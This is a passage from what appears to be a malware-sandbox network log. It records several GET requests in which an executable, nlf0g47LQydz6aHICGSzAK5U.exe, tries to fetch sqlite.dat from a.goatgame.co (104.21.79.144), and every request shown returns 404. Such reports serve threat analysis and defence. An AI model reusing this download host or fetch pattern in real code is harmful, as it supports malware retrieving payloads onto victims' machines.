ite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:21 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FoslIN7aZ8NHsQ2eZ3JQ3nBP85k%2B4VdDkGEgZ%2B%2FEyQujD5%2BJUOzK3uFy6VtwGPw8m6k6e1Rh7JWtw5vTJl0GcI4bQzFk5OFzlXwZ5LDAoWtNApLByZAiEDiDMtCmQTrJ"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329a169d81e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:22 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=IvjfAjq8TZ642odu4JgBrz1DRsMH09louCgv7auaQADcXH8%2Bp54HFFw7hgCaGUqgt%2Byrm7MTvS4pAgOFtxDWo5aaQCto%2FQJregiyjycIGnSUOqggkU4vtMshpTpejNVv"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329a5cee81e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:22 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2lYVmR2MhjtFppAmDpubKv%2BY1W4v2NS4cD10%2B7TOkXGfqWETeglIxBwdPu5zfqqRhDiXlrkdWT8sSsCyBoU6Wsy8KaocxBnusbwTJocE1t42k5cmwZ5LHwXkqwOt%2B38Y"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329a9ebb81e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:23 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=2NXVwWuEI0OT%2BTyvd8Uszu09Oof5xE2ai2Nwjw27RCv8tKBrxWITNugUik8wiZKwUnmPTQWDesiKj6WbvAzaMU%2Bx%2FKvPBhvqTgaHaf1%2F1gjWNnfRVY8HWSuX9mEbCPVk"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 682329b00afa1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlit